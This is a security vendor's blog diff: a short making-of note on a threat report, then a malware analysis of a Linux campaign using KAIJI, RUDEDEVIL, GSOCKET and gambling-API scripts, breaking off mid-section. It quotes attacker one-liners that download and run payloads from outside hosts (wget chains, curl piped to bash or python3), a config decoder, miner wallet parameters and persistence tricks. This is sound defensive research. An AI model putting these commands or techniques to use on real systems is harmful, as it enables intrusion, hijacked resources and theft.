Put simply, by analyzing a vast amount of data. Behind [Elastic Security Labs](http://www.elastic.co/security-labs) is a large team of malware and intelligence analysts, security engineers, researchers, data scientists, and other experts. This team builds and maintains all the protection features in Elastic’s security products: blocking malware, in-memory threats, ransomware, and other malicious behaviors. You name it, we do it. To do this effectively, we need visibility into how our features perform and what threats they’re coming in contact with. We get that visibility through anonymous telemetry shared with us by our users (as well as through research our team carries out on threat feeds and other public datasets).
|
||||
|
||||
Our researchers are in the telemetry data daily. Usually, we are focused on the performance of particular features, eliminating false positives and adding protection against emergent techniques, some of which you can learn about in our [threat report](https://www.elastic.co/explore/security-without-limits/global-threat-report). This battle never ends, and we don’t anticipate that changing any time soon.
|
||||
|
||||
## Why now?
|
||||
|
||||
As our user base rapidly grew over the past year, we came to the conclusion that we now observe a significant percentage of all threats. Upon hitting that critical mass, we decided to peel off some of our best researchers to zoom out, analyze the totality of what we’ve seen, and determine if we had a story worth sharing. We felt we probably had something to contribute to the community’s collective understanding of the threat landscape, and as you read the report, we hope you agree that we were right to think that.
|
||||
|
||||
## Diving deeper
|
||||
|
||||
With that backdrop, I can share a bit more about how a report like this comes to be. Under the leadership of [Devon Kerr](https://twitter.com/_devonkerr_), we built an eight-week plan to analyze and summarize the telemetry coming in from our various features. All our event telemetry data lives in Elasticsearch, which makes for straightforward summarization and visualization.
|
||||
|
||||
Data normalization was a significant challenge. This included filtering out excessively noisy endpoints so results aren’t skewed, ignoring data from test clusters, ignoring alerts for data which we later realized were false positives, pulling together signals from our full [Elastic Security](http://www.elastic.co/security) solution, and more. It wasn’t the most glamorous work in the world, but it was foundational to producing meaningful results at the end. We’ll plan for a couple weeks in this phase again next time — it will always be a significant lift.
|
||||
|
||||
Once the data was in good shape, we extracted the meaning from raw aggregations of a massive number of events to determine insights worth sharing, which help us understand the present state of the threat landscape. In particular, we wanted to explain the most prevalent threats we're seeing and put them in context. These are patterns that ebb and flow throughout the year, making an annual overview particularly useful for spotting the threats making the biggest impact. This led to the various charts and statistics laid out in the report. It took us a couple weeks to settle on a list among the team.
|
||||
|
||||
Next, we had to write. Devon, [Andy Pease](https://twitter.com/andythevariable), [Daniel Stepanic](https://twitter.com/DanielStepanic), and [Terrance DeJesus](https://twitter.com/_xDeJesus) did the heavy lifting here. Anyone who’s done technical writing knows how important clarity and conciseness are in delivering a message that can be understood by the general public. A few dozen pages came together in a way we’re proud of. Importantly, we partnered closely with [Dhrumil Patel](https://www.linkedin.com/in/pateldhrumil/), our product management lead, and [Jen Ellard,](https://twitter.com/jellard8) security product marketing lead, for the [Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) effort to make sure our points were clear and meaningful to our user base.
|
||||
|
||||
All of that brought us to the end of our eight week plan to develop the report. By late August, we were largely pencils-down on the content but far from done. We’re lucky to have a team of designers at Elastic to help us transform a wall of text in a Google doc into a PDF with style and graphics to enhance meaning and help our conclusions and recommendations jump off the page. We knew that this process would take time, many drafts, and a lot of back and forth. Planning and executing this piece of the project took about as long as the data gathering, analysis, and writing. We learned a lot about how long it takes to go from completed draft to final copy and will involve our internal partners early and often in the process.
|
||||
|
||||
## Tell us what you think
|
||||
|
||||
We’d love to hear your feedback about the first [Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report). More is on the way. We expect to make this an annual publication, and between now and then we’re hoping to deliver a more interactive version of this inaugural report.
|
|
@ -0,0 +1,827 @@
|
|||
---
|
||||
title: "Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse"
|
||||
slug: "betting-on-bots"
|
||||
date: "2024-09-27"
|
||||
description: "The REF6138 campaign involved cryptomining, DDoS attacks, and potential money laundering via gambling APIs, highlighting the attackers' use of evolving malware and stealthy communication channels."
|
||||
author:
|
||||
- slug: remco-sprooten
|
||||
- slug: ruben-groenewoud
|
||||
image: "betting-on-bots.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
- slug: attack-pattern
|
||||
tags:
|
||||
- linux
|
||||
- kaiji
|
||||
- rudedevil
|
||||
- gsocket
|
||||
- cryptomining
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
In recent months, Elastic Security Labs has uncovered a sophisticated Linux malware campaign targeting vulnerable servers. The attackers initiated the compromise in March 2024 by exploiting an Apache2 web server. Gaining initial access the threat actors deployed a complex intrusion set to establish persistence and expand their control over the compromised host.
|
||||
|
||||
The threat actors utilized a mixture of tools and malware, including C2 channels disguised as kernel processes, telegram bots for communication, and cron jobs for scheduled task execution. Notably, they deployed multiple malware families, such as KAIJI and RUDEDEVIL, alongside custom-written malware. KAIJI, known for its DDoS capabilities, and RUDEDEVIL, a cryptocurrency miner, were used to exploit system resources for malicious purposes.
|
||||
|
||||
Our investigation revealed a potential Bitcoin/XMR mining scheme that leverages gambling APIs, suggesting the attackers might be conducting money laundering activities using compromised hosts. We also gained access to a file share that hosted daily uploads of fresh KAIJI samples with previously unseen hashes, indicating active development and adaptation by the malware authors.
|
||||
|
||||
This research publication delves into the details of the campaign, providing a comprehensive analysis of the attackers' tactics, techniques, and procedures. We explore how they established initial access, the methods used for persistence and privilege escalation, and the malware deployed at each stage. Additionally, we discuss the command and control infrastructure, including the use of GSOCKET and Telegram for stealthy communication.
|
||||
|
||||
## Execution flow
|
||||
|
||||
### Initial access
|
||||
|
||||
Our team observed a host that was initially compromised in March 2024 by obtaining arbitrary code execution on a server running Apache2. Evidence of this compromise is seen in the execution of the `id` command via the Apache2 process, after which we see the threat actor exploiting the web server and deploying KAIJI malware under the `www-data` user account.
|
||||
|
||||
Shortly after the Kaiji deployment, the attacker used the `www-data` account to download a script named `00.sh` from the URL `http://61.160.194[.]160:35130`, which, after further investigation, also hosted several versions of RUDEDEVIL malware.
|
||||
|
||||
`00.sh` is a stager that:
|
||||
|
||||
* Sets its default shell and PATH.
|
||||
* Deletes several log files to erase traces of execution.
|
||||
* Leverages `ps`, `netstat`, `lsof` and a list of common mining process names to kill any potential mining competition on the compromised host.
|
||||
* Flushes the `iptables` rules on the host, sets several `iptables` rules to block connections to specific destination ports and mining pools, and disables `iptables`.
|
||||
* Finally, a second stage (`sss6`/`sss68`) is downloaded and executed, and execution traces are erased.
|
||||
|
||||
The figure below shows a compressed version of the stager. Lines annotated with `[...]` are shortened to enhance readability.
|
||||
|
||||

|
||||
|
||||
### Fileserver
|
||||
|
||||
Via the backdoored web server process, the attacker downloaded and executed malware through the following command:
|
||||
|
||||
```
|
||||
sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86
|
||||
```
|
||||
|
||||
The `l64` and `l86` files are downloaded from `http://107.178.101[.]245:5488`, after which they are granted all permissions, executed, and removed. Looking at the server that is hosting these malware samples, we see the following:
|
||||
|
||||

|
||||
|
||||
This seems to be a file server, hosting several types of malware for different architectures. The file server leverages the Rejetto technology. These malwares have upload dates and download counters. For example, the `download.sh` file that was uploaded September 10th, was already downloaded 3,100 times.
|
||||
|
||||

|
||||
|
||||
### RUDEDEVIL/LUCIFER
|
||||
|
||||
Upon closer inspection, the file `sss6`, which was downloaded and executed, has been identified as the RUDEDEVIL malware. Early in the execution process, we encounter an embedded message characteristic of this malware family:
|
||||
|
||||

|
||||
|
||||
```
|
||||
Hi, man. I\'ve seen several organizations report my Trojan recently,
|
||||
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others.
|
||||
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite.
|
||||
I don\'t have any accommodation. I don\'t want to do anything illegal.
|
||||
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc,
|
||||
thank yo
|
||||
```
|
||||
|
||||
We note that the files `l64` and `l86` that are hosted on the file server contain the same malware. When analyzing the execution flow of the malware we see that the main function of the malware performs several key tasks:
|
||||
|
||||
* **Daemon Initialization:** The process is converted into a daemon using `daemon(1, 0)`.
|
||||
* **Socket Creation:** A socket is created and bound to a specific port.
|
||||
* **Signal Handling:** Custom signal handlers are set up for various signals.
|
||||
* **Service Initialization:** Several services are started using `SetFILE`.
|
||||
* **Privilege Handling:** It checks for root privileges and adjusts resource limits accordingly.
|
||||
* **Decryption:** The malware decrypts its configuration blobs.
|
||||
* **Thread Creation:** Multiple threads are spawned for tasks like mining, killing processes, and monitoring network and CPU usage.
|
||||
* **Main Loop:** The program enters an infinite loop where it repeatedly connects to a server and sleeps for a specified duration.
|
||||
|
||||
When examining the encryption routine, we find it utilizes XOR-based encoding:
|
||||
|
||||

|
||||
|
||||
To decode the contents statically, we developed a basic Python snippet:
|
||||
|
||||
``` python
|
||||
def DecryptData(data_block, encryption_key):
|
||||
key_modifier = encryption_key & 0xFF
|
||||
key_index = key_modifier // 0x5F # 0x5F = 95 in decimal
|
||||
modifier = (key_modifier - (key_index * 0x5F)) + 0x58 # 0x58 = 88 in decimal
|
||||
|
||||
for i in range(len(data_block)):
|
||||
data_block[i] ^= modifier
|
||||
data_block[i] &= 0xFF # Ensure 8-bit value
|
||||
data_block[i] += modifier
|
||||
data_block[i] &= 0xFF # Ensure 8-bit value
|
||||
|
||||
return data_block
|
||||
|
||||
# Encoded data as hex strings
|
||||
encoded_data = [
|
||||
'4c494356515049490c467978',
|
||||
'0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
|
||||
'0f424d4e0f435536575649484b',
|
||||
'5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
|
||||
]
|
||||
|
||||
encryption_key = 0x03FF # 1023 in decimal
|
||||
|
||||
# Process and decrypt each encoded data string
|
||||
for data in encoded_data:
|
||||
# Convert hex string to list of integers
|
||||
data_bytes = bytes.fromhex(data)
|
||||
data_block = list(data_bytes)
|
||||
|
||||
# Decrypt the data
|
||||
decrypted_block = DecryptData(data_block, encryption_key)
|
||||
|
||||
# Convert decrypted data back to bytes
|
||||
decrypted_bytes = bytes(decrypted_block)
|
||||
print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))
|
||||
```
|
||||
|
||||
After decoding the configuration, the following values are revealed:
|
||||
|
||||
* The first value C2 domain `nishabii[.]xyz`.
|
||||
* The second value reveals options that will be passed to XMRIG.
|
||||
* The third value shows the temp file location the malware uses.
|
||||
* The fourth and last string shows the download location for the XMRIG binary.
|
||||
|
||||
### Thread Management in the Malware
|
||||
|
||||
The malware initiates several threads to handle its core operations. Let’s explore how some of these functions work in detail.
|
||||
|
||||
#### Understanding the KillPid Function
|
||||
|
||||
One of the threads runs the KillPid function, which is designed to continuously monitor and manage processes. The function begins by detaching its current thread, allowing it to run in the background without blocking other processes. It then enters an infinite loop, repeatedly executing its tasks.
|
||||
|
||||
At the heart of its functionality is an array called `sb_name`, which contains the names of processes the malware wants to terminate.
|
||||
|
||||

|
||||
|
||||
Every two seconds, the function checks the system for processes listed in this array, retrieving their process IDs (PIDs) using a helper function called `getPidByName`. After each iteration, it moves to the next process in the list, ensuring all processes in `sb_name` are handled.
|
||||
|
||||
Interestingly, after processing all elements in the array, the function enters an extended sleep for 600 seconds — roughly 10 minutes — before resuming its process checks. This extended sleep period is likely implemented to conserve system resources, ensuring the malware doesn't consume too much CPU time while monitoring processes.
|
||||
|
||||
#### Understanding the Get_Net_Messages Function
|
||||
|
||||
Another crucial thread is responsible for monitoring network traffic, specifically focusing on the `eth0` network interface. This functionality is handled by the `getOutRates` function. The function begins by setting up necessary variables and opening the `/proc/net/dev` file, which contains detailed network statistics for each interface.
|
||||
|
||||

|
||||
|
||||
If the file is successfully opened, the malware reads a block of data — up to 1024 bytes — and processes it to extract the relevant network statistics. It specifically looks for the `eth0` interface, parsing the output rate data using a standard string parsing method. If successful, the function returns the output rate for `eth0`; otherwise, it returns `0`, ensuring the malware continues functioning even if an error occurs.
|
||||
|
||||
This routine allows the malware to quietly monitor the network activity of the infected machine, likely to track data being sent or received across the interface.
|
||||
|
||||
#### Understanding the Get_Cpu_Message Function
|
||||
|
||||
For CPU monitoring, the malware uses the `GetCpuRates` function. This function continuously monitors the CPU usage by reading data from `/proc/stat`. Similar to how the network data is handled, the CPU statistics are read and parsed, allowing the malware to calculate the system's CPU usage.
|
||||
|
||||

|
||||
|
||||
The function operates in an infinite loop, sleeping for one second between each iteration to avoid overwhelming the system. If the file cannot be opened for some reason, the function logs an error and gracefully exits. However, as long as it’s able to read the file, it continually monitors CPU usage, ensuring the malware remains aware of system performance.
|
||||
|
||||
#### Understanding the Send_Host_Message Function
|
||||
|
||||
Perhaps the most critical thread is the one responsible for sending system information back to the malware operators. The `_SendInfo` function performs this task by collecting data about the infected system’s CPU and network usage. It begins by setting up buffers and preparing file paths to gather the necessary data. Depending on the system’s status, it formats the CPU and network usage into a string.
|
||||
|
||||

|
||||
|
||||
Additionally, the function checks whether a particular process is running on the system and adjusts its formatted message accordingly. Finally, it sends this formatted data back to the command-and-control server via a socket connection.
|
||||
|
||||
In essence, this function allows the malware to remotely monitor the infected machine, gathering key details like CPU load and network activity. The operators can use this information to assess the status of their infection and adjust their activities as needed.
|
||||
|
||||
### Connecting to the Command-and-Control (C2) Server
|
||||
|
||||
Once all the threads are up and running, the malware shifts its focus to establishing a connection with its C2 server. This is managed by the `ConnectServer` function in the main thread, which handles communication with the server and executes commands remotely.
|
||||
|
||||
#### Understanding the ConnectServer Function
|
||||
|
||||
The first task the `ConnectServer` function performs is establishing a connection to the C2 server using `ServerConnectCli`. After successfully connecting, the malware configures the socket to enable keep-alive settings, ensuring that the connection remains stable over extended periods of time.
|
||||
|
||||
Once the connection is set up, the malware collects various pieces of system information, including the hostname, user information, CPU specs, and memory details. This information is then sent to the server as an initial data payload, providing the attackers with a detailed view of the infected machine.
|
||||
|
||||
After this initial setup, the malware enters an ongoing loop where it awaits and processes commands from the server. The types of commands handled are varied and can include tasks like launching a DDoS attack, stopping or starting CPU-intensive operations, executing system commands, or managing cryptocurrency mining activities. The loop continues indefinitely, ensuring that the malware is ready to execute any command sent by its operators.
|
||||
|
||||
When the connection is no longer needed, or when the malware receives a termination command, it gracefully closes the socket, ending the session with the server.
|
||||
|
||||
#### Command-and-Control (C2) Commands
|
||||
|
||||
The `ConnectServer` function processes a variety of commands from the C2 server, each designed to control a different aspect of the infected system. Here’s a breakdown of the commands handled by the malware:
|
||||
|
||||
* **Case 4:** The malware calls the `DealwithDDoS` function, likely initiating a Distributed Denial of Service (DDoS) attack.
|
||||
* **Case 5:** Sets the `StopFlag` to `1`, which could signal the malware to stop specific tasks.
|
||||
* **Case 6:** Downloads a file from the server using `http_get`, changes its permissions, and then executes it. This command allows the attackers to run additional malware or scripts on the infected machine.
|
||||
* **Case 7:** Executes a system command using the `system` function, providing the attackers with direct control over the system’s command line.
|
||||
* **Case 8:** Sets `StopCpu` to `0`, restarting any previously halted CPU tasks.
|
||||
* **Case 9:** Sets `StopCpu` to `1`, halting all CPU tasks.
|
||||
* **Case 0xA:** Updates the CPU mining configuration with new data and retrieves the PID of the current process, allowing the malware to modify its cryptocurrency mining operations.
|
||||
* **Case 0xB:** Sets `stopxmr` to `1`, effectively stopping the XMRIG miner.
|
||||
* **Case 0xC:** Resets `stopxmr` to `0` and retrieves the current process PID, resuming the mining activity.
|
||||
|
||||

|
||||
|
||||
Each command gives the malware operators precise control over how the infected machine behaves, whether it’s participating in a DDoS attack, running new malware, or managing mining operations.
|
||||
|
||||
### Variants of RUDEDEVIL Malware and XMRIG Configuration
|
||||
|
||||
While the file server mentioned before was active, we observed multiple versions of the RUDEDEVIL malware being uploaded. The core functionality of these versions remained largely the same, with the only significant variation being the embedded XMRIG commands used for cryptocurrency mining.
|
||||
|
||||
Each version of the malware was configured to connect to the same mining pool, `c3pool.org`, but with slight differences in the parameters passed to the XMRIG miner:
|
||||
|
||||
* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R`
|
||||
* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2`
|
||||
* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php`
|
||||
* `-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0`
|
||||
|
||||
Each of these commands directs the miner to connect to the same mining pool but specifies different wallets or configurations. By examining the `c3pool` application, we confirmed that both XMR addresses associated with these commands are currently active and mining.
|
||||
|
||||

|
||||
|
||||
Additionally, through this analysis, we were able to estimate the total profit generated by these two mining campaigns, highlighting the financial impact of the RUDEDEVIL malware and its connection to illegal cryptocurrency mining operations.
|
||||
|
||||
## GSOCKET
|
||||
|
||||
To establish persistence, the threat actor downloaded and installed [GSOCKET](https://github.com/hackerschoice/gsocket), a network utility designed to enable encrypted communication between machines that are behind firewalls or NAT. GSOCKET creates secure, persistent connections through the Global Socket Relay Network (GSRN). This open-source tool includes features like AES-256 encryption, support for end-to-end communication security, and compatibility with SSH, netcat, and TOR, which allow for encrypted file transfers, remote command execution, and even the creation of hidden services.
|
||||
|
||||
Although GSOCKET is not inherently malicious, its features can be leveraged for suspicious purposes.
|
||||
|
||||
Once deployed, GSOCKET performs several actions to maintain persistence and conceal its presence. First, it checks the system for active kernel processes to decide which process it will masquerade as:
|
||||
|
||||

|
||||
|
||||
It then creates the `/dev/shm/.gs-1000` directory to download and store its binary in shared memory. Additionally, by default, it sets up an `/htop` directory under `/home/user/.config/htop/` to store both the GSOCKET binary and the secret key used for its operations.
|
||||
|
||||
Next, a cron job that runs the GSOCKET binary with the secret key every minute is set up.
|
||||
|
||||

|
||||
|
||||
The binary is executed under the name of a kernel process using the `exec -a [process_name]` command, further enhancing the ability to evade detection. The cron job includes a base64 encoded command that, when decoded, ensures the persistence mechanism is regularly executed and disguised as a legitimate kernel process:
|
||||
|
||||
When decoding the payload, we see how the `defunct.dat` secret key is used as an argument to execute the `defunct` binary, which is masqueraded as `[raid5wq]` through the use of `exec -a `command:
|
||||
|
||||
In addition to using cron jobs, GSOCKET has the capability to establish persistence through shell profile modification, run control (`rc.local`) and Systemd. GSOCKET enumerates potential persistence locations:
|
||||
|
||||

|
||||
|
||||
GSOCKET supports multiple webhooks, such as Telegram or Discord integrations, enabling remote control and notifications:
|
||||
|
||||

|
||||
|
||||
Finally, after installation, GSOCKET ensures that all files that are created or modified, will be timestomped to attempt to erase any trace of installation:
|
||||
|
||||

|
||||
|
||||
These features make GSOCKET an attractive tool for threat actors seeking stealth and persistence. In this campaign, GSOCKET was exploited to establish covert channels back to C2 servers while attempting to evade detection.
|
||||
|
||||
Additionally, a PHP payload was fetched from an external IP and saved as `404.php`, likely functioning as a backdoor for future access. We did not manage to obtain this payload.
|
||||
|
||||
### Post compromise dwell time
|
||||
|
||||
After a three-week period of quiet with no noticeable activity, the threat actors resumed operations by utilizing the built-in Python3 to establish a reverse connection to a new command-and-control server.
|
||||
|
||||
After regaining access to the host, a newer version of the KAIJI malware was deployed.
|
||||
|
||||
### KAIJI malware: a comparison to previous samples
|
||||
|
||||
While investigating the files on the discovered file server, we saw a shell script. This shell script seems to be the main file used to download by an earlier stage, ensuring the correct architecture for the victim is used.
|
||||
|
||||

|
||||
|
||||
The same Shell script is found in other reports where this script is used to deploy KAIJI.
|
||||
|
||||
As part of our investigation, we analyzed the KAIJI malware samples found on the file server and compared them with samples identified by Black Lotus Labs in 2022. Their detailed analysis of `Chaos` (KAIJI) can be found in their blog post[ here](https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/).
|
||||
|
||||
Using [BinDiff](https://github.com/google/bindiff), a binary comparison tool, we compared the functions in the binaries. The analysis revealed that the code in our sample was identical to the previously identified KAIJI sample from 2022.
|
||||
|
||||

|
||||
|
||||
Although the code was the same, one critical difference stood out: the C2 server address. Although the functionality remained consistent in both binaries, they pointed to different C2 domains.
|
||||
|
||||
Delving deeper into the disassembly, we identified a function named `main_Link`. This function is responsible for decoding the C2 server address used by the malware.
|
||||
|
||||

|
||||
|
||||
Once decoded, the function searches for the `|(odk)/*-` postfix in the address and removes it, leaving only the C2 domain and port. This process ensures the malware can communicate with its C2 server, though the address it contacts may change between samples.
|
||||
|
||||
Given that some resources have been published that statically reverse engineer KAIJI, we will instead take a more detailed look at its behaviors.
|
||||
|
||||

|
||||
|
||||
After execution, KAIJI creates several files in the `/etc/` and `/dev/` directories, `/etc/id.services.conf`, `/etc/32678`, `/dev/.img` and `/dev/.old`. These scripts are places to establish persistence.
|
||||
|
||||
Two services are set up, `/etc/init.d/linux_kill` and `crond.service`. `crond.service` is executed by Systemd, while `linux_kill` is used for SysVinit persistence.
|
||||
|
||||
After reloading the Systemd daemon, the first network connection to the C2 is attempted.
|
||||
|
||||

|
||||
|
||||
Next, the `Systemd Late generator` service file is created. More information on the workings of `Systemd`, and different ways of establishing persistence through this method can be found in our recent blog series dubbed [Linux Detection Engineering - A primer on persistence mechanisms](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms).
|
||||
|
||||
KAIJI creates the `/boot/System.img.config` file, which is an executable that is executed through the previously deployed `Systemd` services. This binary, is amongst other binaries, another way of establishing persistence.
|
||||
|
||||

|
||||
|
||||
Next, KAIJI adjusts the `SELinux` policies to allow unauthorized actions. It searches audit logs for denied operations related to `System.img.conf`, generates a new `SELinux` policy to permit these actions, and installs the policy with elevated priority. By doing this, the malware bypasses security restrictions that would normally block its activity.
|
||||
|
||||
Additionally, it sets up multiple additional forms of persistence through bash profiles, and creates another two malicious artifacts; `/usr/lib/libd1rpcld.so` and `/.img`.
|
||||
|
||||
Right after, `/etc/crontab` is altered through an echo command, ensuring that the `/.img` file is executed by root on a set schedule.
|
||||
|
||||

|
||||
|
||||
KAIJI continues to move several default system binaries to unusual locations, attempting to evade detection along the way.
|
||||
|
||||

|
||||
|
||||
KAIJI uses the `renice` command to grant PID `2957`, one of KAIJI's planted executables, the highest possible priority (on a scale of -20 to 19, lowest being the highest priority), ensuring it gets more CPU resources than other processes.
|
||||
|
||||
To evade detection, KAIJI employed the bind mount technique, a defense evasion method that obscures malicious activities by manipulating how directories are mounted and viewed within the system.
|
||||
|
||||
Finally, we see a trace of `cron` executing the `/.img`, which was planted in the `/etc/crontab` file earlier.
|
||||
|
||||
## The saga continues
|
||||
|
||||
Two weeks later, the Apache backdoor became active again. Another backdoor was downloaded via the `www-data` user through the Apache2 process using the command:
|
||||
|
||||
```
|
||||
sh -c wget http://91.92.241[.]103:8002/gk.php
|
||||
```
|
||||
|
||||
The contents of this payload remain unknown. At this stage, we observed attempts at manual privilege escalation, with the attackers deploying `pspy64`. `Pspy` is a command-line tool for process snooping on Linux systems without requiring root permissions. It monitors running processes, including those initiated by other users, and captures events like cron job executions. This tool is particularly useful for analyzing system activity, spotting privilege escalation attempts, and auditing the commands and file system interactions triggered by processes in real time. It's commonly leveraged by attackers for reconnaissance in post-compromise scenarios, giving them visibility into system tasks and potential vulnerabilities.
|
||||
|
||||
Notably, `pspy64` was executed by the `[rcu_preempt]` parent, indicating that the threat actors had transitioned from leveraging the web server backdoor to using the GSOCKET backdoor.
|
||||
|
||||
Further attempts at privilege escalation involved exploiting `CVE-2021-4034`, also known as `pwnkit`. This vulnerability affects the `pkexec` component of the PolicyKit package in Linux systems, allowing an unprivileged user to execute arbitrary code with root privileges. By leveraging this flaw, an attacker can gain elevated access to the system, potentially leading to full control over the affected machine.
|
||||
|
||||
### Custom built binaries
|
||||
|
||||
Right after, the attackers attempted to download a custom-built malware named `apache2` and `apache2v86` from:
|
||||
|
||||
* `http://62.72.22[.]91/apache2`
|
||||
* `http://62.72.22[.]91/apache2v86`
|
||||
|
||||
We obtained copies of these files, which currently have zero detections on VirusTotal. However, when executing them dynamically, we observed segmentation faults, and our telemetry confirmed segfault activity on the compromised host. Over a week, the threat actor attempted to alter, upload and execute these binaries more than 15 times, but due to repeated segfaults, it is unlikely that they succeeded in running this custom malware.
|
||||
|
||||
While the binaries failed to execute, they still provided valuable insights during reverse engineering. We uncovered several XOR-encoded strings within the samples.
|
||||
|
||||

|
||||
|
||||
The XOR key used to encode the strings was identified as `0x79` (or the character `y`). After decoding the strings, we discovered fragments of an HTTP request header that the malware was attempting to construct:
|
||||
|
||||
```
|
||||
/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
|
||||
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
|
||||
sec-ch-ua-platform: "Windows"
|
||||
upgrade-insecure-requests: 1
|
||||
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
referer: https://twitter[.]com
|
||||
accept-language: ru,en-US;q=0.9
|
||||
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.
|
||||
```
|
||||
|
||||
This indicates that the malware was in the process of constructing HTTP requests. However, based on the incomplete nature of the headers and the repeated failures in execution, it’s clear that this piece of software was not yet fully developed or operational.
|
||||
|
||||
### Additional reconnaissance
|
||||
|
||||
The attackers continued to use tools from The Hacker’s Choice, by downloading and executing [`whatserver.sh`](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/whatserver.sh).
|
||||
|
||||
This Shell script is designed to gather and display server information. It extracts details such as the fully qualified domain names (FQDNs) from SSL certificates, Nginx, and Apache configuration files, along with system resource information like CPU and memory usage, virtualization details, and network settings. The script can also summarize recent activities, including last logged-in users and currently listening services.
|
||||
|
||||
### Mining activities
|
||||
|
||||
After nearly two weeks of manual exploitation attempts, the threat actors ceased their efforts to escalate privileges, likely having failed to gain root access. Instead, they established persistence as the `www-data` user, leveraging GSOCKET to set up an SSL connection, which was disguised as a kernel process called `[mm_percpu_wq]`.
|
||||
|
||||
After decoding the base64 contents, we get a very familiar looking output:
|
||||
|
||||
Through our behavioral rules, we see the threat actor listing the current user’s crontab entries, and echoing a payload directly into the crontab.
|
||||
|
||||
This command tries to download `http://gcp.pagaelrescate[.]com:8080/ifindyou` every minute, and pipe it to bash. Looking at the contents of `ifindyou`, we see the following Bash script:
|
||||
|
||||

|
||||
|
||||
This script gathers hostname and IP information, downloads the `SystemdXC` archive from `http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC` (XMRIG), stores this in `/tmp/SystemdXC`, extracts the archive and executes it with the necessary parameters to start mining Bitcoin.
|
||||
|
||||
When examining the mining command, we can see how the malware configures XMRIG:
|
||||
|
||||
This command connects to the `unmineable.com` mining pool, using the infected machine’s hostname as an identifier in the mining process. At the time of writing, there are 15 active workers mining Bitcoin for the wallet address `1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz`.
|
||||
|
||||

|
||||
|
||||
Upon further investigation into the Bitcoin address, we found that this address has performed a single transaction.
|
||||
|
||||

|
||||
|
||||
Interestingly, the output address for this transaction points to a well-known [hot wallet](https://www.ledger.com/academy/topics/security/hot-wallet-vs-cold-crypto-wallet-whats-the-difference) associated with Binance, indicating that the attackers may have transferred their mining earnings to an exchange platform.
|
||||
|
||||

|
||||
|
||||
When returning our focus back to the script, we also see two commands commented out, which will become more clear later. The script executes:
|
||||
|
||||
```
|
||||
curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash
|
||||
```
|
||||
|
||||
Looking at this payload, we can see the following contents:
|
||||
|
||||

|
||||
|
||||
This stage checks the output of the command, and sends this to a Telegram chat bot. Through our Telegram behavioral rule, we can see that a Telegram POST request looks like this:
|
||||
|
||||
The cron job that is set up during this stage executes at minute 0, every 4th hour. This job executes:
|
||||
|
||||
```
|
||||
curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3
|
||||
```
|
||||
|
||||
The downloaded Python script automates interactions with an online gambling game through HTTP requests. The script includes functions that handle user authentication, betting, processing the outcomes, and sending data to a remote server.
|
||||
|
||||
Upon closer examination, we identified the following key components of the script:
|
||||
|
||||
**Global Variables:**
|
||||
|
||||
* `usuario`: Stores the user ID for managing the session.
|
||||
* `apuesta`: Represents the bet amount.
|
||||
* `ganancias`: Tracks the winnings and losses.
|
||||
* `saldo_actual`: Holds the current account balance.
|
||||
|
||||

|
||||
|
||||
#### Understanding the `obteneruid` Function
|
||||
|
||||
This function authenticates the user by sending a POST request with the necessary headers and JSON data to the remote server. If the user is not already set, it initializes a new session and retrieves the account balance. Upon successful authentication, it returns a session UUID, which is used for further interactions in the game.
|
||||
|
||||
|
||||

|
||||
|
||||
#### Understanding the `enviardatos` Function
|
||||
|
||||
This function sends game data or status updates back to `gcp.pagaelrescate[.]com`, logging the results or actions taken during gameplay. It uses a simple GET request to transmit this data to the remote server.
|
||||
|
||||

|
||||
|
||||
#### Understanding the `hacerjugada` Function
|
||||
|
||||
